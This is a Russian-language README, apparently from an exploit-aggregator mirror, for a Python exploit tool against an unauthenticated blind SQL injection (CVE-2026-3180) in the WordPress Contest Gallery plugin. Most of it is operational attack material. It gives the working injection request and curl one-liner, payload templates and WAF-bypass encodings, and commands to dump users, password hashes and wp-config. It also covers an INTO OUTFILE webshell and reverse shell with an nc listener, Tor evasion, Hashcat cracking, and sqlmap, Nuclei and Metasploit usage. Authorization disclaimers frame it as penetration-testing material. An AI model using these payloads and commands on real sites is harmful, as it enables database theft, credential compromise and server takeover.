## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CERBERUSMRXI-WP-CONTEST-GALLERY-28.1.4-EXPLOIT
**⚠️ Тестируется**
Этот PoC активно тестируется и дорабатывается. Возможности могут изменяться между релизами.
# CVE-2026-3180
### WordPress Contest Gallery — Неаутентифицированная Blind SQL-инъекция
    
**Инструмент оценки PoC для CVE-2026-3180**
Автор: **Sudeepa Wanigarathna** · Первооткрыватель: **cardosource**
* * *
> [!IMPORTANT] **Только для авторизованного использования.** Этот инструмент предназначен для исследований в области безопасности, обучения и тестирования систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен. Автор не несет ответственности за неправомерное использование.
* * *
## Содержание
* Обзор
* Детали уязвимости
* Возможности
* Установка
* Быстрый старт
* Руководство по использованию
* Справочник команд
* Методы инъекций
* Обход WAF
* Извлечение данных
* Интеграции
* Цепочка атак
* Вывод и отчеты
* Docker
* Интеграция CI/CD
* Устранение неполадок
* Структура репозитория
* История версий
* Отказ от ответственности
* Автор и благодарности
* * *
## Обзор
CVE-2026-3180 — это **высококритичная неаутентифицированная Blind SQL-инъекция** в плагине WordPress **Contest Gallery**. Уязвимость находится в AJAX-обработчике `post_cg1l_resend_unconfirmed_mail_frontend`, где параметр `cgl_mail` передается в SQL-запрос без должной очистки.
Этот репозиторий предоставляет полнофункциональный PoC на Python (v2.0) для авторизованных специалистов по безопасности, позволяющий проверить степень воздействия, извлечь данные WordPress, сгенерировать отчеты и интегрироваться с отраслевыми инструментами (SQLMap, Burp Suite, Nuclei).

* * *
## Детали уязвимости
### Затрагиваемый endpoint
Поле| Значение
---|---
### Запрос Proof-of-Concept```http
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded
action=post_cg1l_resend_unconfirmed_mail_frontend &cgl_mail=qualquer'OR/**/1=1#@teste.com &cgl_page_id=1 &cgl_activation_key= &cg_nonce=%20
root@kitploit:~
### Ссылки
- [CVE-2026-3180](https://vulners.com/cve/CVE-2026-3180)
- [Exploit-DB 52609](https://www.exploit-db.com/exploits/52609)
- [Original write-up (cardosource)](https://dev.to/22l31on/wordpress-contest-gallery-plugin-vulnerability-2ff6)
---
## Возможности
### Основные эксплуатационные возможности
| Возможность | Описание |
|---|---|
| Обнаружение уязвимости | Тесты булевых, временных, основанных на ошибках, UNION и стековых запросов |
| Слепое извлечение | Извлечение символов бинарным поиском через булеву инференцию |
| Полный дамп данных | Пользователи, метаданные БД, опции, плагины, темы, записи, таблицы |
| Интерактивная SQL-оболочка | Выполнение произвольных `SELECT` запросов к бэкенду |
| Извлечение wp-config.php | Попытки `LOAD_FILE()` по общим путям |
| Обратная оболочка | Запись PHP веб-шелла через `INTO OUTFILE` / `DUMPFILE` (если разрешено) |
### Обход защиты и производительность
| Возможность | Описание |
|---|---|
| Обход WAF | 15+ методов кодирования и обфускации |
| Многопоточность | Настраиваемое количество рабочих потоков для ускорения извлечения |
| Ограничение скорости | Настраиваемая задержка между запросами |
| Логика повторных попыток | Автоматические повторы при временных ошибках |
| Ротация User-Agent | Случайные отпечатки браузера для каждого запроса |
| Поддержка прокси | HTTP/SOCKS прокси и Tor (`socks5h://127.0.0.1:9050`) |
### Отчетность и интеграции
| Возможность | Описание |
|---|---|
| Генерация отчетов | Отчеты в форматах JSON и HTML с сводками извлечения |
| Интеграция с SQLMap | Автоматически генерируемая команда SQLMap с тамперами |
| Расширение Burp Suite | Генератор + автономный `burp_contest_gallery.py` |
| Шаблон Nuclei | YAML-шаблон для массового обнаружения |
| Модуль Metasploit | Вспомогательный модуль Ruby (`contest_gallery_sqli.rb`) |
| Автоматизация с помощью скриптов оболочки | Bash-скрипты для рабочих процессов на основе curl и SQLMap |
### Операционные возможности
| Возможность | Описание |
|---|---|
| Цветной вывод CLI | Структурированное логирование с уровнями серьезности |
| Отслеживание прогресса | Метрики в реальном времени (запросы, время, скорость извлечения) |
| Тихий / подробный режимы | Подходит для написания скриптов и отладки |
| Обработка сигналов | Корректная очистка при `Ctrl+C` |
| Готовность к Docker | Поддержка контейнерного развертывания |
| Готовность к CI/CD конвейеру | Коды завершения и вывод в JSON для автоматизации |
---
## Установка
### Предварительные требования
- Python **3.8+**
- `pip`
- Сетевая доступность до целевой(ых) системы(тем) под тестированием
### Дополнительные внешние инструменты
| Инструмент | Назначение |
|---|---|
| [SQLMap](https://github.com/sqlmapproject/sqlmap) | Автоматизированное SQL-инъекция |
| [Burp Suite](https://portswigger.net/burp) | Ручное тестирование и размещение расширений |
| [Nuclei](https://github.com/projectdiscovery/nuclei) | Сканирование на основе шаблонов |
| [Hashcat](https://hashcat.net/hashcat/) | Офлайн-взлом хэшей |
| [Tor](https://www.torproject.org/) | Анонимная маршрутизация (`--proxy tor`) |
### Настройка```bash
git clone https://github.com/CerberusMrXi/WP-Contest-Gallery-28.1.4-Exploit.git
cd WP-Contest-Gallery-28.1.4-Exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 cve-2026-3180.py --help
### Зависимости
**Обязательные (во время выполнения):** ```text requests>=2.31.0
root@kitploit:~
**Рекомендуемые (from requirements.txt):**```text
colorama>=0.4.6
tqdm>=4.65.0
pyyaml>=6.0
python-dateutil>=2.8.2
urllib3>=2.0.0
> Основной эксплойт использует только стандартную библиотеку Python и `requests`. Дополнительные пакеты улучшают вывод и отчётность.
* * *
## Быстрый старт
> Замените `http://target.example` только на **лабораторную или авторизованную** цель.
### Проверка уязвимости```bash
python3 cve-2026-3180.py http://target.example \--scan
root@kitploit:~
### Полная эксплуатация (обнаружение + извлечение)```bash
python3 cve-2026-3180.py http://target.example
### Дамп пользователей WordPress```bash
python3 cve-2026-3180.py http://target.example \--dump users
root@kitploit:~
### Интерактивная SQL-оболочка```bash
python3 cve-2026-3180.py http://target.example --sql-shell
### Создать HTML-отчет```bash
python3 cve-2026-3180.py http://target.example \--report html -o assessment.html
root@kitploit:~
### Через Burp proxy```bash
python3 cve-2026-3180.py http://target.example --proxy http://127.0.0.1:8080 -v
* * *
## Руководство по использованию
### Только сканирование уязвимостей```bash
python3 cve-2026-3180.py http://target.example \--scan
root@kitploit:~
Запускает булевое, временное и основанное на ошибках обнаружение без полного извлечения.
### Полное извлечение данных```bash
python3 cve-2026-3180.py http://target.example --dump all
Извлекает информацию о базе данных, пользователях, настройках, плагинах, темах, записях, таблицах и системных метаданных.
### Выборочные дампы```bash
python3 cve-2026-3180.py http://target.example \--dump database python3 cve-2026-3180.py http://target.example \--dump users python3 cve-2026-3180.py http://target.example \--dump config python3 cve-2026-3180.py http://target.example \--dump options python3 cve-2026-3180.py http://target.example \--dump plugins python3 cve-2026-3180.py http://target.example \--dump themes
root@kitploit:~
### Интерактивная SQL-оболочка```bash
python3 cve-2026-3180.py http://target.example --sql-shell
INPUT:```text sql> SELECT DATABASE() wordpress
sql> show users [ { "username": "admin", "email": "some-email@example.com", "password_hash": "$P$B..." } ]
sql> show tables ["wp_users", "wp_posts", "wp_options", ...]
sql> exit
root@kitploit:~
**Команды оболочки:**
| Команда | Описание |
|---|---|
| `SELECT ...` | Выполнить SQL-запрос и вывести результат |
| `show users` | Показать кэшированных извлеченных пользователей |
| `show tables` | Показать список кэшированных таблиц |
| `show database` | Показать кэшированные метаданные БД |
| `show config` | Показать wp-config.php, если он извлечен |
| `show options` | Показать параметры WordPress |
| `show plugins` | Показать активные плагины |
| `help` | Вывести список доступных команд |
| `exit` / `quit` | Выйти из оболочки |
### Генерация отчета```bash
# JSON report (default, saved to reports/)
python3 cve-2026-3180.py http://target.example --report json
# HTML report with custom filename
python3 cve-2026-3180.py http://target.example --report html -o reports/assessment.html
### Обратный шелл (только в авторизованной лаборатории)```bash
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — exploit
python3 cve-2026-3180.py http://target.example \--reverse-shell 10.0.0.5 4444
root@kitploit:~
> Требует привилегию `FILE`, доступную для записи корневую веб-директорию и `secure_file_priv`, не блокирующий целевой путь.
### Генерация команд SQLMap```bash
python3 cve-2026-3180.py http://target.example --sqlmap
Или используйте встроенный скрипт автоматизации:```bash chmod +x sqlmap_automation.sh ./sqlmap_automation.sh http://target.example
root@kitploit:~
### Расширение Burp Suite```bash
# Generate extension from exploit
python3 cve-2026-3180.py http://target.example --burp-extension
# Or load the standalone extension
# Burp → Extender → Extensions → Add → Python → burp_contest_gallery.py
### Nuclei template```bash
python3 cve-2026-3180.py http://target.example \--nuclei-template
# Scan with generated template
nuclei -u http://target.example -t CVE-2026-3180.yaml
root@kitploit:~
### Автоматизация на Bash (без Python)```bash
chmod +x cve-2026-3180_automated.sh
./cve-2026-3180_automated.sh http://target.example
### Маршрутизация Tor```bash
# Ensure Tor is running on 127.0.0.1:9050
python3 cve-2026-3180.py http://target.example \--proxy tor
root@kitploit:~
### Настройка производительности```bash
python3 cve-2026-3180.py http://target.example \
--threads 20 \
--timeout 15 \
--delay 0.1 \
--retries 5 \
-v
* * *
## Справочник команд
### Позиционные аргументы
Аргумент| Описание
---|---
`target`| Базовый URL WordPress (например, `http://target.example`)
### Сетевые опции
### Опции вывода
Аргумент| Описание
---|---
`--verbose`, `-v`| Включить отладочное логирование
`--quiet`| Подавить вывод в консоль
`--output`,
### Режимы
* * *
## Методы инъекций
Инструмент автоматически тестирует и использует несколько стратегий инъекций:
### Шаблоны полезных нагрузок
`PayloadManager` перебирает 12+ шаблонов инъекций:```text 'OR/**/{condition}#@teste.com 'OR{condition}-- - ')OR{condition}# '))OR{condition}# 'OR/** /{condition}OR/**/'1'='1'# 'UNION/** /SELECT{condition}# ...
root@kitploit:~
### Алгоритм извлечения логических данных
1. Подтверждение уязвимости через сравнение длин true/false базовых строк
2. Бинарный поиск `LENGTH()` результата целевого запроса
3. Бинарный поиск `ASCII(SUBSTRING(...))` для каждой позиции символа
4. Сборка полной строки из извлеченных символов
---
## Обход WAF
Встроенные методы обфускации, применяемые случайным образом или по запросу:
| Техника | Описание |
|---|---|
| `comment_obfuscation` | Замена пробелов на `/**/`, `/*!*/`, `-- `, `#` |
| `case_variation` | Случайный регистр буквенных символов |
| `url_encoding` | Стандартное процентное кодирование |
| `double_url_encoding` | Вложенное процентное кодирование |
| `hex_encoding` | Шестнадцатеричное кодирование вида `%41` |
| `unicode_encoding` | Юникодное кодирование вида `%u0041` |
| `white_space_variation` | Табуляция, переводы строк, знаки перевода страницы вместо пробелов |
| `keyword_obfuscation` | Разбиение ключевых слов: `SEL/**/ECT`, `UNI/**/ION` |
| `concat_obfuscation` | Конкатенация через `CHAR()` с помощью `\|\|` |
| `char_obfuscation` | Сложение `CHAR()` через `+` |
Пример преобразованной полезной нагрузки:```text
qualquer'OR/**/1=1#@teste.com
→ qualquer'%2F**%2FOR%2F**%2F1%3D1%23%40teste.com
* * *
## Извлечение данных
### Цели извлечения
### Структура извлеченного объекта пользователя```json
{ "username": "admin", "password_hash": "$P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", "email": "some-email@example.com", "roles": ["administrator"] }
root@kitploit:~
### Взлом хэшей паролей (офлайн)
После извлечения взломайте хэши WordPress phpass с помощью Hashcat:```bash
# Save hashes to file
python3 cve-2026-3180.py http://target.example --dump users -o users.json
# Crack with Hashcat (mode 400 = phpass)
hashcat -m 400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
## Интеграции
### SQLMap
Сгенерированная команда (через `--sqlmap`):```bash sqlmap -u "http://target.example/wp-admin/admin-ajax.php"
\--data "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=test'&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20"
-p cgl_mail
\--dbms=mysql
\--level=3 --risk=2
\--batch
\--threads=5
\--time-sec=5
\--retries=3
\--delay=0.05
\--random-agent
\--hex
\--tamper=space2comment,randomcase,between,charencode
\--dbs
root@kitploit:~
### Burp Suite
1. Загрузите `burp_contest_gallery.py` в **Extender → Extensions → Add**
2. Откройте вкладку **CVE-2026-3180**
3. Введите целевой URL и нажмите **Exploit**
4. Пассивный сканер проверяет AJAX-запросы на наличие индикаторов Contest Gallery
### Nuclei```yaml
id: CVE-2026-3180
info:
name: WordPress Contest Gallery SQL Injection
severity: high
classification:
cve-id: CVE-2026-3180
cvss-score: 7.5
requests:
- method: POST
path: /wp-admin/admin-ajax.php
body: "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=test'&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20"
### Metasploit```bash
# Copy module to Metasploit
cp contest_gallery_sqli.rb ~/.msf4/modules/auxiliary/scanner/http/
# Run
msfconsole -q -x "use auxiliary/scanner/http/contest_gallery_sqli; set RHOSTS target.example; run"
root@kitploit:~
---
## Цепочка атак```mermaid
flowchart TD
A["Unauthenticated POST to admin-ajax.php"] --> B["cgl_mail parameter unsanitized"]
B --> C{"Injection type?"}
C -->|Boolean| D["Response length inference"]
C -->|Time| E["SLEEP delay inference"]
C -->|Error| F["SQL error leakage"]
D --> G["Binary-search extraction"]
E --> G
F --> G
G --> H["WordPress data exfiltration"]
H --> I["Users / hashes / options / config"]
I --> J["Optional: OUTFILE webshell"]
### Техническая сводка
1. **Точка входа** — AJAX-действие `post_cg1l_resend_unconfirmed_mail_frontend` в плагине Contest Gallery.
2. **Приемник** — значение `cgl_mail`, добавляемое в SQL без параметризации.
3. **Эксплуатация** — Слепое логическое умозаключение извлекает данные посимвольно.
4. **Воздействие** — Полный доступ на чтение к базе данных WordPress; возможна запись файлов, если привилегии MySQL позволяют.
* * *
## Вывод и отчеты
### Консольный вывод```text
[_] Target:http://target.example [_] Checking vulnerability... [+] Target is VULNERABLE! (Boolean-based) [+] Response length difference: 42 chars [*] Extracting database information... [+] name: wordpress [+] version: 8.0.35 [+] Found 3 users [+] Exploitation complete!
root@kitploit:~
### Структура JSON-отчета```json
{
"metadata": {
"cve": "CVE-2026-3180",
"cvss_score": "7.5 (High)",
"type": "boolean_based"
},
"target": {
"url": "http://target.example",
"ajax_url": "http://target.example/wp-admin/admin-ajax.php"
},
"vulnerability": {
"vulnerable": true,
"type": "boolean_based"
},
"extracted_data": {
"database": { "name": "wordpress", "version": "8.0.35" },
"users": [],
"tables": [],
"plugins": [],
"options": {}
},
"summary": {
"users_found": 3,
"tables_found": 12,
"plugins_found": 8,
"config_extracted": false
}
}
Отчёты сохраняются в `reports/` по умолчанию.
* * *
## Docker```dockerfile
FROM python:3.11-slim
WORKDIR /app COPY requirements.txt cve-2026-3180.py ./ RUN pip install --no-cache-dir -r requirements.txt
ENTRYPOINT ["python3", "cve-2026-3180.py"] CMD ["--help"]
root@kitploit:~
<a href="https://camo.ink/6e03bf54688e0be0ef026443732f30e7ea377f9c" target="_blank" rel="nofollow noopener"></a>```bash
# Build
docker build -t cve-2026-3180 .
# Scan
docker run --rm cve-2026-3180 http://target.example --scan
# Full exploit with report volume
docker run --rm -v $(pwd)/reports:/app/reports cve-2026-3180 \
http://target.example --report json
* * *
## Интеграция CI/CD
Пример workflow GitHub Actions для авторизованного сканирования staging-среды:```yaml name: CVE-2026-3180 Staging Scan
on: workflow_dispatch: schedule: \- cron: '0 2 * * 1'
jobs: scan: runs-on: ubuntu-latest steps: \- uses: actions/checkout@v4
root@kitploit:~
- uses: actions/setup-python@v5
with:
python-version: '3.11'
- run: pip install -r requirements.txt
- name: Vulnerability scan
run: |
python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
--scan --quiet
continue-on-error: true
- name: Generate report
run: |
python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
--report json -o reports/staging.json
- uses: actions/upload-artifact@v4
with:
name: security-report
path: reports/
root@kitploit:~
---
## Устранение неполадок
| Симптом | Что попробовать |
|---|---|
| Цель не уязвима | Убедитесь, что Contest Gallery ≤ 28.1.4 установлен и активен |
| Нет разницы в длине ответа | Попробуйте `--scan` для временного запасного варианта; увеличьте `--timeout` |
| Очень медленное извлечение | Увеличьте `--threads`; осторожно уменьшите `--delay` |
| Ошибки соединения | Увеличьте `--timeout` и `--retries`; проверьте настройки прокси |
| WAF блокирует запросы | Используйте `--proxy tor`; инструмент автоматически применяет методы обхода |
| Сбой Tor-прокси | Проверьте Tor на `127.0.0.1:9050`; установите `requests[socks]` при необходимости |
| Пустой дамп пользователей | Префикс таблиц может быть не `wp_`; используйте `--sql-shell` с пользовательскими запросами |
| wp-config не найден | Попробуйте `--sql-shell` с альтернативными путями `LOAD_FILE()` |
| Ошибка реверс-шелла | Проверьте привилегию `FILE`, `secure_file_priv`, права на webroot |
### Рабочий процесс отладки```bash
# Verbose scan
python3 cve-2026-3180.py http://target.example --scan -v
# Through Burp
python3 cve-2026-3180.py http://target.example \
--proxy http://127.0.0.1:8080 -v --scan
# Manual curl verification
curl -s -X POST "http://target.example/wp-admin/admin-ajax.php" \
-d "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=qualquer'OR/**/1=1#@teste.com&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20" \
-w "\nSize: %{size_download}\n"
* * *
## Структура репозитория```text
exploit/ ├── cve-2026-3180.py # Main exploit tool (v2.0) ├── requirements.txt # Python dependencies ├── README.md # This file ├── burp_contest_gallery.py # Standalone Burp Suite extension ├── contest_gallery_sqli.rb # Metasploit auxiliary module ├── cve-2026-3180_automated.sh # Bash/curl automation script ├── sqlmap_automation.sh # SQLMap wrapper script ├── reports/ # Generated reports (created at runtime) ├── backups/ # Database backups (created at runtime) ├── payloads/ # Custom payload storage └── venv/ # Local virtualenv (optional, not committed)
root@kitploit:~
---
## История версий
### v2.0.0 — Финальное издание (Январь 2026)
- Обнаружение boolean, time, error, union и stacked инъекций
- Полный конвейер извлечения данных WordPress
- Более 15 методов обхода WAF
- Интерактивная SQL-оболочка
- Генерация отчетов в JSON / HTML
- Интеграция с SQLMap, Burp и Nuclei
- Reverse shell через `INTO OUTFILE`
- Поддержка прокси и Tor
- Многопоточность с логикой повторных попыток
- Цветной вывод и структурированное логирование
### v1.0 — Первый релиз
- Базовое обнаружение на основе boolean
- Ручное извлечение пользователей
---
## Отказ от ответственности
Этот проект предоставляется **как есть** для **исследований в области оборонительной безопасности** и **авторизованного тестирования на проникновение**.
Используя данное программное обеспечение, вы соглашаетесь с тем, что:
1. Вы будете атаковать только системы, которыми владеете или на тестирование которых имеете явное разрешение.
2. Вы понимаете применимые законы о компьютерных злоупотреблениях и защите данных.
3. Автор и участники **не несут ответственности** за ущерб, потерю данных или юридические последствия в результате неправильного использования.
Если вы обнаружите эту уязвимость в рабочей среде, следуйте практике ответственного раскрытия и координируйте действия с вендором плагина / командой безопасности WordPress, где это уместно.
---
## Автор и благодарности
| Роль | Имя |
|---|---|
| **Автор инструмента** | Sudeepa Wanigarathna |
| **Первоначальное обнаружение** | cardosource |
| **CVE** | CVE-2026-3180 |
| **Лицензия** | MIT |
---
## Лицензия
MIT```
MIT License
Copyright (c) 2026 Sudeepa Wanigarathna
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* * *
## Поддержка
* Поставьте звезду репозиторию, если он помогает в ваших исследованиях
* Открывайте issue для сообщений об ошибках, ложных срабатываниях или улучшениях обнаружения
* Принимаются pull request'ы для документации, техник обхода WAF и UX авторизованных лабораторий
* * *
**Только для авторизованного тестирования безопасности.**